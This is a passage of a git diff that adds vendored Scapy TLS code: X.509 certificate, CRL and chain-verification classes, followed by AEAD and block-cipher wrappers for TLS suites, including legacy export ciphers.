self.tbsCertificate = tbsCert + + if tbsCert.version: + self.version = tbsCert.version.val + 1 + else: + self.version = 1 + self.serial = tbsCert.serialNumber.val + self.sigAlg = tbsCert.signature.algorithm.oidname + self.issuer = tbsCert.get_issuer() + self.issuer_str = tbsCert.get_issuer_str() + self.issuer_hash = hash(self.issuer_str) + self.subject = tbsCert.get_subject() + self.subject_str = tbsCert.get_subject_str() + self.subject_hash = hash(self.subject_str) + self.authorityKeyID = None + + self.notBefore_str = tbsCert.validity.not_before.pretty_time + notBefore = tbsCert.validity.not_before.val + if notBefore[-1] == "Z": + notBefore = notBefore[:-1] + try: + _format = tbsCert.validity.not_before._format + self.notBefore = time.strptime(notBefore, _format) + except Exception: + raise Exception(error_msg) + self.notBefore_str_simple = time.strftime("%x", self.notBefore) + + self.notAfter_str = tbsCert.validity.not_after.pretty_time + notAfter = tbsCert.validity.not_after.val + if notAfter[-1] == "Z": + notAfter = notAfter[:-1] + try: + _format = tbsCert.validity.not_after._format + self.notAfter = time.strptime(notAfter, _format) + except Exception: + raise Exception(error_msg) + self.notAfter_str_simple = time.strftime("%x", self.notAfter) + + self.pubKey = PubKey(raw(tbsCert.subjectPublicKeyInfo)) + + if tbsCert.extensions: + for extn in tbsCert.extensions: + if extn.extnID.oidname == "basicConstraints": + self.cA = False + if extn.extnValue.cA: + self.cA = not (extn.extnValue.cA.val == 0) + elif extn.extnID.oidname == "keyUsage": + self.keyUsage = extn.extnValue.get_keyUsage() + elif extn.extnID.oidname == "extKeyUsage": + self.extKeyUsage = extn.extnValue.get_extendedKeyUsage() + elif extn.extnID.oidname == "authorityKeyIdentifier": + self.authorityKeyID = extn.extnValue.keyIdentifier.val + + self.signatureValue = raw(cert.signatureValue) + self.signatureLen = len(self.signatureValue) + + def isIssuerCert(self, other): + """ + True if 'other' issued 'self', i.e.: + - self.issuer == other.subject + - self is signed by other + """ + if self.issuer_hash != other.subject_hash: + return False + return other.pubKey.verifyCert(self) + + def isSelfSigned(self): + """ + Return True if the certificate is self-signed: + - issuer and subject are the same + - the signature of the certificate is valid. + """ + if self.issuer_hash == self.subject_hash: + return self.isIssuerCert(self) + return False + + def encrypt(self, msg, t="pkcs", h="sha256", mgf=None, L=None): + # no ECDSA *encryption* support, hence only RSA specific keywords here + return self.pubKey.encrypt(msg, t=t, h=h, mgf=mgf, L=L) + + def verify(self, msg, sig, t="pkcs", h="sha256", mgf=None, L=None): + return self.pubKey.verify(msg, sig, t=t, h=h, mgf=mgf, L=L) + + def remainingDays(self, now=None): + """ + Based on the value of notAfter field, returns the number of + days the certificate will still be valid. The date used for the + comparison is the current and local date, as returned by + time.localtime(), except if 'now' argument is provided another + one. 'now' argument can be given as either a time tuple or a string + representing the date. Accepted format for the string version + are: + + - '%b %d %H:%M:%S %Y %Z' e.g. 'Jan 30 07:38:59 2008 GMT' + - '%m/%d/%y' e.g. '01/30/08' (less precise) + + If the certificate is no more valid at the date considered, then + a negative value is returned representing the number of days + since it has expired. + + The number of days is returned as a float to deal with the unlikely + case of certificates that are still just valid. + """ + if now is None: + now = time.localtime() + elif isinstance(now, str): + try: + if '/' in now: + now = time.strptime(now, '%m/%d/%y') + else: + now = time.strptime(now, '%b %d %H:%M:%S %Y %Z') + except Exception: + warning("Bad time string provided, will use localtime() instead.") # noqa: E501 + now = time.localtime() + + now = time.mktime(now) + nft = time.mktime(self.notAfter) + diff = (nft - now) / (24. * 3600) + return diff + + def isRevoked(self, crl_list): + """ + Given a list of trusted CRL (their signature has already been + verified with trusted anchors), this function returns True if + the certificate is marked as revoked by one of those CRL. + + Note that if the Certificate was on hold in a previous CRL and + is now valid again in a new CRL and bot are in the list, it + will be considered revoked: this is because _all_ CRLs are + checked (not only the freshest) and revocation status is not + handled. + + Also note that the check on the issuer is performed on the + Authority Key Identifier if available in _both_ the CRL and the + Cert. Otherwise, the issuers are simply compared. + """ + for c in crl_list: + if (self.authorityKeyID is not None and + c.authorityKeyID is not None and + self.authorityKeyID == c.authorityKeyID): + return self.serial in (x[0] for x in c.revoked_cert_serials) + elif self.issuer == c.issuer: + return self.serial in (x[0] for x in c.revoked_cert_serials) + return False + + def export(self, filename, fmt="DER"): + """ + Export certificate in 'fmt' format (DER or PEM) to file 'filename' + """ + with open(filename, "wb") as f: + if fmt == "DER": + f.write(self.der) + elif fmt == "PEM": + f.write(self.pem) + + def show(self): + print("Serial: %s" % self.serial) + print("Issuer: " + self.issuer_str) + print("Subject: " + self.subject_str) + print("Validity: %s to %s" % (self.notBefore_str, self.notAfter_str)) + + def __repr__(self): + return "[X.509 Cert. Subject:%s, Issuer:%s]" % (self.subject_str, self.issuer_str) # noqa: E501 + + +################################ +# Certificate Revocation Lists # +################################ + +class _CRLMaker(_PKIObjMaker): + """ + Metaclass for CRL creation. It is not necessary as it was for the keys, + but we reuse the model instead of creating redundant constructors. + """ + def __call__(cls, cert_path): + obj = _PKIObjMaker.__call__(cls, cert_path, _MAX_CRL_SIZE, "X509 CRL") + obj.__class__ = CRL + try: + crl = X509_CRL(obj.der) + except Exception: + raise Exception("Unable to import CRL") + obj.import_from_asn1pkt(crl) + return obj + + +class CRL(six.with_metaclass(_CRLMaker, object)): + """ + Wrapper for the X509_CRL from layers/x509.py. + Use the 'x509CRL' attribute to access original object. + """ + + def import_from_asn1pkt(self, crl): + error_msg = "Unable to import CRL" + + self.x509CRL = crl + + tbsCertList = crl.tbsCertList + self.tbsCertList = raw(tbsCertList) + + if tbsCertList.version: + self.version = tbsCertList.version.val + 1 + else: + self.version = 1 + self.sigAlg = tbsCertList.signature.algorithm.oidname + self.issuer = tbsCertList.get_issuer() + self.issuer_str = tbsCertList.get_issuer_str() + self.issuer_hash = hash(self.issuer_str) + + self.lastUpdate_str = tbsCertList.this_update.pretty_time + lastUpdate = tbsCertList.this_update.val + if lastUpdate[-1] == "Z": + lastUpdate = lastUpdate[:-1] + try: + self.lastUpdate = time.strptime(lastUpdate, "%y%m%d%H%M%S") + except Exception: + raise Exception(error_msg) + self.lastUpdate_str_simple = time.strftime("%x", self.lastUpdate) + + self.nextUpdate = None + self.nextUpdate_str_simple = None + if tbsCertList.next_update: + self.nextUpdate_str = tbsCertList.next_update.pretty_time + nextUpdate = tbsCertList.next_update.val + if nextUpdate[-1] == "Z": + nextUpdate = nextUpdate[:-1] + try: + self.nextUpdate = time.strptime(nextUpdate, "%y%m%d%H%M%S") + except Exception: + raise Exception(error_msg) + self.nextUpdate_str_simple = time.strftime("%x", self.nextUpdate) + + if tbsCertList.crlExtensions: + for extension in tbsCertList.crlExtensions: + if extension.extnID.oidname == "cRLNumber": + self.number = extension.extnValue.cRLNumber.val + + revoked = [] + if tbsCertList.revokedCertificates: + for cert in tbsCertList.revokedCertificates: + serial = cert.serialNumber.val + date = cert.revocationDate.val + if date[-1] == "Z": + date = date[:-1] + try: + time.strptime(date, "%y%m%d%H%M%S") + except Exception: + raise Exception(error_msg) + revoked.append((serial, date)) + self.revoked_cert_serials = revoked + + self.signatureValue = raw(crl.signatureValue) + self.signatureLen = len(self.signatureValue) + + def isIssuerCert(self, other): + # This is exactly the same thing as in Cert method. + if self.issuer_hash != other.subject_hash: + return False + return other.pubKey.verifyCert(self) + + def verify(self, anchors): + # Return True iff the CRL is signed by one of the provided anchors. + return any(self.isIssuerCert(a) for a in anchors) + + def show(self): + print("Version: %d" % self.version) + print("sigAlg: " + self.sigAlg) + print("Issuer: " + self.issuer_str) + print("lastUpdate: %s" % self.lastUpdate_str) + print("nextUpdate: %s" % self.nextUpdate_str) + + +###################### +# Certificate chains # +###################### + +class Chain(list): + """ + Basically, an enhanced array of Cert. + """ + + def __init__(self, certList, cert0=None): + """ + Construct a chain of certificates starting with a self-signed + certificate (or any certificate submitted by the user) + and following issuer/subject matching and signature validity. + If there is exactly one chain to be constructed, it will be, + but if there are multiple potential chains, there is no guarantee + that the retained one will be the longest one. + As Cert and CRL classes both share an isIssuerCert() method, + the trailing element of a Chain may alternatively be a CRL. + + Note that we do not check AKID/{SKID/issuer/serial} matching, + nor the presence of keyCertSign in keyUsage extension (if present). + """ + list.__init__(self, ()) + if cert0: + self.append(cert0) + else: + for root_candidate in certList: + if root_candidate.isSelfSigned(): + self.append(root_candidate) + certList.remove(root_candidate) + break + + if len(self) > 0: + while certList: + tmp_len = len(self) + for c in certList: + if c.isIssuerCert(self[-1]): + self.append(c) + certList.remove(c) + break + if len(self) == tmp_len: + # no new certificate appended to self + break + + def verifyChain(self, anchors, untrusted=None): + """ + Perform verification of certificate chains for that certificate. + A list of anchors is required. The certificates in the optional + untrusted list may be used as additional elements to the final chain. + On par with chain instantiation, only one chain constructed with the + untrusted candidates will be retained. Eventually, dates are checked. + """ + untrusted = untrusted or [] + for a in anchors: + chain = Chain(self + untrusted, a) + if len(chain) == 1: # anchor only + continue + # check that the chain does not exclusively rely on untrusted + if any(c in chain[1:] for c in self): + for c in chain: + if c.remainingDays() < 0: + break + if c is chain[-1]: # we got to the end of the chain + return chain + return None + + def verifyChainFromCAFile(self, cafile, untrusted_file=None): + """ + Does the same job as .verifyChain() but using the list of anchors + from the cafile. As for .verifyChain(), a list of untrusted + certificates can be passed (as a file, this time). + """ + try: + with open(cafile, "rb") as f: + ca_certs = f.read() + except Exception: + raise Exception("Could not read from cafile") + + anchors = [Cert(c) for c in split_pem(ca_certs)] + + untrusted = None + if untrusted_file: + try: + with open(untrusted_file, "rb") as f: + untrusted_certs = f.read() + except Exception: + raise Exception("Could not read from untrusted_file") + untrusted = [Cert(c) for c in split_pem(untrusted_certs)] + + return self.verifyChain(anchors, untrusted) + + def verifyChainFromCAPath(self, capath, untrusted_file=None): + """ + Does the same job as .verifyChainFromCAFile() but using the list + of anchors in capath directory. The directory should (only) contain + certificates files in PEM format. As for .verifyChainFromCAFile(), + a list of untrusted certificates can be passed as a file + (concatenation of the certificates in PEM format). + """ + try: + anchors = [] + for cafile in os.listdir(capath): + with open(os.path.join(capath, cafile), "rb") as fd: + anchors.append(Cert(fd.read())) + except Exception: + raise Exception("capath provided is not a valid cert path") + + untrusted = None + if untrusted_file: + try: + with open(untrusted_file, "rb") as f: + untrusted_certs = f.read() + except Exception: + raise Exception("Could not read from untrusted_file") + untrusted = [Cert(c) for c in split_pem(untrusted_certs)] + + return self.verifyChain(anchors, untrusted) + + def __repr__(self): + llen = len(self) - 1 + if llen < 0: + return "" + c = self[0] + s = "__ " + if not c.isSelfSigned(): + s += "%s [Not Self Signed]\n" % c.subject_str + else: + s += "%s [Self Signed]\n" % c.subject_str + idx = 1 + while idx <= llen: + c = self[idx] + s += "%s_ %s" % (" " * idx * 2, c.subject_str) + if idx != llen: + s += "\n" + idx += 1 + return s diff --git a/libs/scapy/layers/tls/crypto/__init__.py b/libs/scapy/layers/tls/crypto/__init__.py new file mode 100755 index 0000000..5d2051d --- /dev/null +++ b/libs/scapy/layers/tls/crypto/__init__.py @@ -0,0 +1,8 @@ +# This file is part of Scapy +# Copyright (C) 2007, 2008, 2009 Arnaud Ebalard +# 2015, 2016 Maxence Tury +# This program is published under a GPLv2 license + +""" +Cryptographic capabilities for TLS. +""" diff --git a/libs/scapy/layers/tls/crypto/all.py b/libs/scapy/layers/tls/crypto/all.py new file mode 100755 index 0000000..a37222a --- /dev/null +++ b/libs/scapy/layers/tls/crypto/all.py @@ -0,0 +1,10 @@ +# This file is part of Scapy +# Copyright (C) 2007, 2008, 2009 Arnaud Ebalard +# 2015, 2016, 2017 Maxence Tury +# This program is published under a GPLv2 license + +""" +Aggregate some TLS crypto objects. +""" + +from scapy.layers.tls.crypto.suites import * # noqa: F401 diff --git a/libs/scapy/layers/tls/crypto/cipher_aead.py b/libs/scapy/layers/tls/crypto/cipher_aead.py new file mode 100755 index 0000000..45633dd --- /dev/null +++ b/libs/scapy/layers/tls/crypto/cipher_aead.py @@ -0,0 +1,418 @@ +# This file is part of Scapy +# Copyright (C) 2007, 2008, 2009 Arnaud Ebalard +# 2015, 2016, 2017 Maxence Tury +# This program is published under a GPLv2 license + +""" +Authenticated Encryption with Associated Data ciphers. + +RFC 5288 introduces new ciphersuites for TLS 1.2 which are based on AES in +Galois/Counter Mode (GCM). RFC 6655 in turn introduces AES_CCM ciphersuites. +The related AEAD algorithms are defined in RFC 5116. Later on, RFC 7905 +introduced cipher suites based on a ChaCha20-Poly1305 construction. +""" + +from __future__ import absolute_import +import struct + +from scapy.config import conf +from scapy.layers.tls.crypto.pkcs1 import pkcs_i2osp, pkcs_os2ip +from scapy.layers.tls.crypto.common import CipherError +from scapy.utils import strxor +import scapy.modules.six as six + +if conf.crypto_valid: + from cryptography.hazmat.primitives.ciphers import Cipher, algorithms, modes # noqa: E501 + from cryptography.hazmat.backends import default_backend + from cryptography.exceptions import InvalidTag +if conf.crypto_valid_advanced: + from cryptography.hazmat.primitives.ciphers.aead import (AESCCM, + ChaCha20Poly1305) +else: + class AESCCM: + pass + +_tls_aead_cipher_algs = {} + + +class _AEADCipherMetaclass(type): + """ + Cipher classes are automatically registered through this metaclass. + Furthermore, their name attribute is extracted from their class name. + """ + def __new__(cls, ciph_name, bases, dct): + if not ciph_name.startswith("_AEADCipher"): + dct["name"] = ciph_name[7:] # remove leading "Cipher_" + the_class = super(_AEADCipherMetaclass, cls).__new__(cls, ciph_name, + bases, dct) + if not ciph_name.startswith("_AEADCipher"): + _tls_aead_cipher_algs[ciph_name[7:]] = the_class + return the_class + + +class AEADTagError(Exception): + """ + Raised when MAC verification fails. + """ + pass + + +class _AEADCipher(six.with_metaclass(_AEADCipherMetaclass, object)): + """ + The hasattr(self, "pc_cls") tests correspond to the legacy API of the + crypto library. With cryptography v2.0, both CCM and GCM should follow + the else case. + + Note that the "fixed_iv" in TLS RFCs is called "salt" in the AEAD RFC 5116. + """ + type = "aead" + fixed_iv_len = 4 + nonce_explicit_len = 8 + + def __init__(self, key=None, fixed_iv=None, nonce_explicit=None): + """ + 'key' and 'fixed_iv' are to be provided as strings, whereas the internal # noqa: E501 + 'nonce_explicit' is an integer (it is simpler for incrementation). + !! The whole 'nonce' may be called IV in certain RFCs. + """ + self.ready = {"key": True, "fixed_iv": True, "nonce_explicit": True} + if key is None: + self.ready["key"] = False + key = b"\0" * self.key_len + if fixed_iv is None: + self.ready["fixed_iv"] = False + fixed_iv = b"\0" * self.fixed_iv_len + if nonce_explicit is None: + self.ready["nonce_explicit"] = False + nonce_explicit = 0 + + if isinstance(nonce_explicit, str): + nonce_explicit = pkcs_os2ip(nonce_explicit) + + # we use super() in order to avoid any deadlock with __setattr__ + super(_AEADCipher, self).__setattr__("key", key) + super(_AEADCipher, self).__setattr__("fixed_iv", fixed_iv) + super(_AEADCipher, self).__setattr__("nonce_explicit", nonce_explicit) + + if hasattr(self, "pc_cls"): + if isinstance(self.pc_cls, AESCCM): + self._cipher = Cipher(self.pc_cls(key), + self.pc_cls_mode(self._get_nonce()), + backend=default_backend(), + tag_length=self.tag_len) + else: + self._cipher = Cipher(self.pc_cls(key), + self.pc_cls_mode(self._get_nonce()), + backend=default_backend()) + else: + self._cipher = self.cipher_cls(key) + + def __setattr__(self, name, val): + if name == "key": + if self._cipher is not None: + if hasattr(self, "pc_cls"): + self._cipher.algorithm.key = val + else: + self._cipher._key = val + self.ready["key"] = True + elif name == "fixed_iv": + self.ready["fixed_iv"] = True + elif name == "nonce_explicit": + if isinstance(val, str): + val = pkcs_os2ip(val) + self.ready["nonce_explicit"] = True + super(_AEADCipher, self).__setattr__(name, val) + + def _get_nonce(self): + return (self.fixed_iv + + pkcs_i2osp(self.nonce_explicit, self.nonce_explicit_len)) + + def _update_nonce_explicit(self): + """ + Increment the explicit nonce while avoiding any overflow. + """ + ne = self.nonce_explicit + 1 + self.nonce_explicit = ne % 2**(self.nonce_explicit_len * 8) + + def auth_encrypt(self, P, A, seq_num=None): + """ + Encrypt the data then prepend the explicit part of the nonce. The + authentication tag is directly appended with the most recent crypto + API. Additional data may be authenticated without encryption (as A). + + The 'seq_num' should never be used here, it is only a safeguard needed + because one cipher (ChaCha20Poly1305) using TLS 1.2 logic in record.py + actually is a _AEADCipher_TLS13 (even though others are not). + """ + if False in six.itervalues(self.ready): + raise CipherError(P, A) + + if hasattr(self, "pc_cls"): + self._cipher.mode._initialization_vector = self._get_nonce() + self._cipher.mode._tag = None + encryptor = self._cipher.encryptor() + encryptor.authenticate_additional_data(A) + res = encryptor.update(P) + encryptor.finalize() + res += encryptor.tag + else: + res = self._cipher.encrypt(self._get_nonce(), P, A) + + nonce_explicit = pkcs_i2osp(self.nonce_explicit, + self.nonce_explicit_len) + self._update_nonce_explicit() + return nonce_explicit + res + + def auth_decrypt(self, A, C, seq_num=None, add_length=True): + """ + Decrypt the data and authenticate the associated data (i.e. A). + If the verification fails, an AEADTagError is raised. It is the user's + responsibility to catch it if deemed useful. If we lack the key, we + raise a CipherError which contains the encrypted input. + + Note that we add the TLSCiphertext length to A although we're supposed + to add the TLSCompressed length. Fortunately, they are the same, + but the specifications actually messed up here. :'( + + The 'add_length' switch should always be True for TLS, but we provide + it anyway (mostly for test cases, hum). + + The 'seq_num' should never be used here, it is only a safeguard needed + because one cipher (ChaCha20Poly1305) using TLS 1.2 logic in record.py + actually is a _AEADCipher_TLS13 (even though others are not). + """ + nonce_explicit_str, C, mac = (C[:self.nonce_explicit_len], + C[self.nonce_explicit_len:-self.tag_len], + C[-self.tag_len:]) + + if False in six.itervalues(self.ready): + raise CipherError(nonce_explicit_str, C, mac) + + self.nonce_explicit = pkcs_os2ip(nonce_explicit_str) + if add_length: + A += struct.pack("!H", len(C)) + + if hasattr(self, "pc_cls"): + self._cipher.mode._initialization_vector = self._get_nonce() + self._cipher.mode._tag = mac + decryptor = self._cipher.decryptor() + decryptor.authenticate_additional_data(A) + P = decryptor.update(C) + try: + decryptor.finalize() + except InvalidTag: + raise AEADTagError(nonce_explicit_str, P, mac) + else: + try: + P = self._cipher.decrypt(self._get_nonce(), C + mac, A) + except InvalidTag: + raise AEADTagError(nonce_explicit_str, + "", + mac) + return nonce_explicit_str, P, mac + + def snapshot(self): + c = self.__class__(self.key, self.fixed_iv, self.nonce_explicit) + c.ready = self.ready.copy() + return c + + +if conf.crypto_valid: + class Cipher_AES_128_GCM(_AEADCipher): + # XXX use the new AESGCM if available + # if conf.crypto_valid_advanced: + # cipher_cls = AESGCM + # else: + pc_cls = algorithms.AES + pc_cls_mode = modes.GCM + key_len = 16 + tag_len = 16 + + class Cipher_AES_256_GCM(Cipher_AES_128_GCM): + key_len = 32 + + +if conf.crypto_valid_advanced: + class Cipher_AES_128_CCM(_AEADCipher): + cipher_cls = AESCCM + key_len = 16 + tag_len = 16 + + class Cipher_AES_256_CCM(Cipher_AES_128_CCM): + key_len = 32 + + class Cipher_AES_128_CCM_8(Cipher_AES_128_CCM): + tag_len = 8 + + class Cipher_AES_256_CCM_8(Cipher_AES_128_CCM_8): + key_len = 32 + + +class _AEADCipher_TLS13(six.with_metaclass(_AEADCipherMetaclass, object)): + """ + The hasattr(self, "pc_cls") enable support for the legacy implementation + of GCM in the cryptography library. They should not be used, and might + eventually be removed, with cryptography v2.0. XXX + """ + type = "aead" + + def __init__(self, key=None, fixed_iv=None, nonce_explicit=None): + """ + 'key' and 'fixed_iv' are to be provided as strings. This IV never + changes: it is either the client_write_IV or server_write_IV. + + Note that 'nonce_explicit' is never used. It is only a safeguard for a + call in session.py to the TLS 1.2/ChaCha20Poly1305 case (see RFC 7905). + """ + self.ready = {"key": True, "fixed_iv": True} + if key is None: + self.ready["key"] = False + key = b"\0" * self.key_len + if fixed_iv is None: + self.ready["fixed_iv"] = False + fixed_iv = b"\0" * self.fixed_iv_len + + # we use super() in order to avoid any deadlock with __setattr__ + super(_AEADCipher_TLS13, self).__setattr__("key", key) + super(_AEADCipher_TLS13, self).__setattr__("fixed_iv", fixed_iv) + + if hasattr(self, "pc_cls"): + if isinstance(self.pc_cls, AESCCM): + self._cipher = Cipher(self.pc_cls(key), + self.pc_cls_mode(fixed_iv), + backend=default_backend(), + tag_length=self.tag_len) + else: + self._cipher = Cipher(self.pc_cls(key), + self.pc_cls_mode(fixed_iv), + backend=default_backend()) + else: + if self.cipher_cls == ChaCha20Poly1305: + # ChaCha20Poly1305 doesn't have a tag_length argument... + self._cipher = self.cipher_cls(key) + else: + self._cipher = self.cipher_cls(key, tag_length=self.tag_len) + + def __setattr__(self, name, val): + if name == "key": + if self._cipher is not None: + if hasattr(self, "pc_cls"): + self._cipher.algorithm.key = val + else: + self._cipher._key = val + self.ready["key"] = True + elif name == "fixed_iv": + self.ready["fixed_iv"] = True + super(_AEADCipher_TLS13, self).__setattr__(name, val) + + def _get_nonce(self, seq_num): + padlen = self.fixed_iv_len - len(seq_num) + padded_seq_num = b"\x00" * padlen + seq_num + return strxor(padded_seq_num, self.fixed_iv) + + def auth_encrypt(self, P, A, seq_num): + """ + Encrypt the data, and append the computed authentication code. + The additional data for TLS 1.3 is the record header. + + Note that the cipher's authentication tag must be None when encrypting. + """ + if False in six.itervalues(self.ready): + raise CipherError(P, A) + + if hasattr(self, "pc_cls"): + self._cipher.mode._tag = None + self._cipher.mode._initialization_vector = self._get_nonce(seq_num) + encryptor = self._cipher.encryptor() + encryptor.authenticate_additional_data(A) + res = encryptor.update(P) + encryptor.finalize() + res += encryptor.tag + else: + if (conf.crypto_valid_advanced and + isinstance(self._cipher, AESCCM)): + res = self._cipher.encrypt(self._get_nonce(seq_num), P, A) + else: + res = self._cipher.encrypt(self._get_nonce(seq_num), P, A) + return res + + def auth_decrypt(self, A, C, seq_num): + """ + Decrypt the data and verify the authentication code (in this order). + If the verification fails, an AEADTagError is raised. It is the user's + responsibility to catch it if deemed useful. If we lack the key, we + raise a CipherError which contains the encrypted input. + """ + C, mac = C[:-self.tag_len], C[-self.tag_len:] + if False in six.itervalues(self.ready): + raise CipherError(C, mac) + + if hasattr(self, "pc_cls"): + self._cipher.mode._initialization_vector = self._get_nonce(seq_num) + self._cipher.mode._tag = mac + decryptor = self._cipher.decryptor() + decryptor.authenticate_additional_data(A) + P = decryptor.update(C) + try: + decryptor.finalize() + except InvalidTag: + raise AEADTagError(P, mac) + else: + try: + if (conf.crypto_valid_advanced and + isinstance(self._cipher, AESCCM)): + P = self._cipher.decrypt(self._get_nonce(seq_num), C + mac, A) # noqa: E501 + else: + if (conf.crypto_valid_advanced and + isinstance(self, Cipher_CHACHA20_POLY1305)): + A += struct.pack("!H", len(C)) + P = self._cipher.decrypt(self._get_nonce(seq_num), C + mac, A) # noqa: E501 + except InvalidTag: + raise AEADTagError("", mac) + return P, mac + + def snapshot(self): + c = self.__class__(self.key, self.fixed_iv) + c.ready = self.ready.copy() + return c + + +if conf.crypto_valid_advanced: + class Cipher_CHACHA20_POLY1305_TLS13(_AEADCipher_TLS13): + cipher_cls = ChaCha20Poly1305 + key_len = 32 + tag_len = 16 + fixed_iv_len = 12 + nonce_explicit_len = 0 + + class Cipher_CHACHA20_POLY1305(Cipher_CHACHA20_POLY1305_TLS13): + """ + This TLS 1.2 cipher actually uses TLS 1.3 logic, as per RFC 7905. + Changes occur at the record layer (in record.py). + """ + pass + + +if conf.crypto_valid: + class Cipher_AES_128_GCM_TLS13(_AEADCipher_TLS13): + # XXX use the new AESGCM if available + # if conf.crypto_valid_advanced: + # cipher_cls = AESGCM + # else: + pc_cls = algorithms.AES + pc_cls_mode = modes.GCM + key_len = 16 + fixed_iv_len = 12 + tag_len = 16 + + class Cipher_AES_256_GCM_TLS13(Cipher_AES_128_GCM_TLS13): + key_len = 32 + + +if conf.crypto_valid_advanced: + class Cipher_AES_128_CCM_TLS13(_AEADCipher_TLS13): + cipher_cls = AESCCM + key_len = 16 + tag_len = 16 + fixed_iv_len = 12 + + class Cipher_AES_128_CCM_8_TLS13(Cipher_AES_128_CCM_TLS13): + tag_len = 8 diff --git a/libs/scapy/layers/tls/crypto/cipher_block.py b/libs/scapy/layers/tls/crypto/cipher_block.py new file mode 100755 index 0000000..27ad837 --- /dev/null +++ b/libs/scapy/layers/tls/crypto/cipher_block.py @@ -0,0 +1,219 @@ +# This file is part of Scapy +# Copyright (C) 2007, 2008, 2009 Arnaud Ebalard +# 2015, 2016, 2017 Maxence Tury +# This program is published under a GPLv2 license + +""" +Block ciphers. +""" + +from __future__ import absolute_import +from scapy.config import conf +from scapy.layers.tls.crypto.common import CipherError +import scapy.modules.six as six + +if conf.crypto_valid: + from cryptography.utils import register_interface + from cryptography.hazmat.primitives.ciphers import (Cipher, algorithms, modes, # noqa: E501 + BlockCipherAlgorithm, + CipherAlgorithm) + from cryptography.hazmat.backends.openssl.backend import (backend, + GetCipherByName) + + +_tls_block_cipher_algs = {} + + +class _BlockCipherMetaclass(type): + """ + Cipher classes are automatically registered through this metaclass. + Furthermore, their name attribute is extracted from their class name. + """ + def __new__(cls, ciph_name, bases, dct): + if ciph_name != "_BlockCipher": + dct["name"] = ciph_name[7:] # remove leading "Cipher_" + the_class = super(_BlockCipherMetaclass, cls).__new__(cls, ciph_name, + bases, dct) + if ciph_name != "_BlockCipher": + _tls_block_cipher_algs[ciph_name[7:]] = the_class + return the_class + + +class _BlockCipher(six.with_metaclass(_BlockCipherMetaclass, object)): + type = "block" + + def __init__(self, key=None, iv=None): + self.ready = {"key": True, "iv": True} + if key is None: + self.ready["key"] = False + if hasattr(self, "expanded_key_len"): + key_len = self.expanded_key_len + else: + key_len = self.key_len + key = b"\0" * key_len + if not iv: + self.ready["iv"] = False + iv = b"\0" * self.block_size + + # we use super() in order to avoid any deadlock with __setattr__ + super(_BlockCipher, self).__setattr__("key", key) + super(_BlockCipher, self).__setattr__("iv", iv) + + self._cipher = Cipher(self.pc_cls(key), + self.pc_cls_mode(iv), + backend=backend) + + def __setattr__(self, name, val): + if name == "key": + if self._cipher is not None: + self._cipher.algorithm.key = val + self.ready["key"] = True + elif name == "iv": + if self._cipher is not None: + self._cipher.mode._initialization_vector = val + self.ready["iv"] = True + super(_BlockCipher, self).__setattr__(name, val) + + def encrypt(self, data): + """ + Encrypt the data. Also, update the cipher iv. This is needed for SSLv3 + and TLS 1.0. For TLS 1.1/1.2, it is overwritten in TLS.post_build(). + """ + if False in six.itervalues(self.ready): + raise CipherError(data) + encryptor = self._cipher.encryptor() + tmp = encryptor.update(data) + encryptor.finalize() + self.iv = tmp[-self.block_size:] + return tmp + + def decrypt(self, data): + """ + Decrypt the data. Also, update the cipher iv. This is needed for SSLv3 + and TLS 1.0. For TLS 1.1/1.2, it is overwritten in TLS.pre_dissect(). + If we lack the key, we raise a CipherError which contains the input. + """ + if False in six.itervalues(self.ready): + raise CipherError(data) + decryptor = self._cipher.decryptor() + tmp = decryptor.update(data) + decryptor.finalize() + self.iv = data[-self.block_size:] + return tmp + + def snapshot(self): + c = self.__class__(self.key, self.iv) + c.ready = self.ready.copy() + return c + + +if conf.crypto_valid: + class Cipher_AES_128_CBC(_BlockCipher): + pc_cls = algorithms.AES + pc_cls_mode = modes.CBC + block_size = 16 + key_len = 16 + + class Cipher_AES_256_CBC(Cipher_AES_128_CBC): + key_len = 32 + + class Cipher_CAMELLIA_128_CBC(_BlockCipher): + pc_cls = algorithms.Camellia + pc_cls_mode = modes.CBC + block_size = 16 + key_len = 16 + + class Cipher_CAMELLIA_256_CBC(Cipher_CAMELLIA_128_CBC): + key_len = 32 + + +# Mostly deprecated ciphers + +if conf.crypto_valid: + class Cipher_DES_CBC(_BlockCipher): + pc_cls = algorithms.TripleDES + pc_cls_mode = modes.CBC + block_size = 8 + key_len = 8 + + class Cipher_DES40_CBC(Cipher_DES_CBC): + """ + This is an export cipher example. The key length has been weakened to 5 + random bytes (i.e. 5 bytes will be extracted from the master_secret). + Yet, we still need to know the original length which will actually be + fed into the encryption algorithm. This is what expanded_key_len + is for, and it gets used in PRF.postprocess_key_for_export(). + We never define this attribute with non-export ciphers. + """ + expanded_key_len = 8 + key_len = 5 + + class Cipher_3DES_EDE_CBC(_BlockCipher): + pc_cls = algorithms.TripleDES + pc_cls_mode = modes.CBC + block_size = 8 + key_len = 24 + + class Cipher_IDEA_CBC(_BlockCipher): + pc_cls = algorithms.IDEA + pc_cls_mode = modes.CBC + block_size = 8 + key_len = 16 + + class Cipher_SEED_CBC(_BlockCipher): + pc_cls = algorithms.SEED + pc_cls_mode = modes.CBC + block_size = 16 + key_len = 16 + + +_sslv2_block_cipher_algs = {} + +if conf.crypto_valid: + _sslv2_block_cipher_algs.update({ + "IDEA_128_CBC": Cipher_IDEA_CBC, + "DES_64_CBC": Cipher_DES_CBC, + "DES_192_EDE3_CBC": Cipher_3DES_EDE_CBC + }) + + +# We need some black magic for RC2, which is not registered by default +# to the openssl backend of the cryptography library. +# If the current version of openssl does not support rc2, the RC2 ciphers are +# silently not declared, and the corresponding suites will have 'usable' False. + +if conf.crypto_valid: + @register_interface(BlockCipherAlgorithm) + @register_interface(CipherAlgorithm) + class _ARC2(object): + name = "RC2" + block_size = 64 + key_sizes = frozenset([128]) + + def __init__(self, key): + self.key = algorithms._verify_key_size(self, key) + + @property + def key_size(self): + return len(self.key) * 8 + + _gcbn_format = "{cipher.name}-{mode.name}" + if GetCipherByName(_gcbn_format)(backend, _ARC2, modes.CBC) != \ + backend._ffi.NULL: + + class Cipher_RC2_CBC(_BlockCipher): + pc_cls = _ARC2 + pc_cls_mode = modes.CBC + block_size = 8 + key_len = 16 + + class Cipher_RC2_CBC_40(Cipher_RC2_CBC): + expanded_key_len = 16 + key_len = 5 + + backend.register_cipher_adapter(Cipher_RC2_CBC.pc_cls, + Cipher_RC2_CBC.pc_cls_mode, + GetCipherByName(_gcbn_format)) + + _sslv2_block_cipher_algs["RC2_128_CBC"] = Cipher_RC2_CBC + + 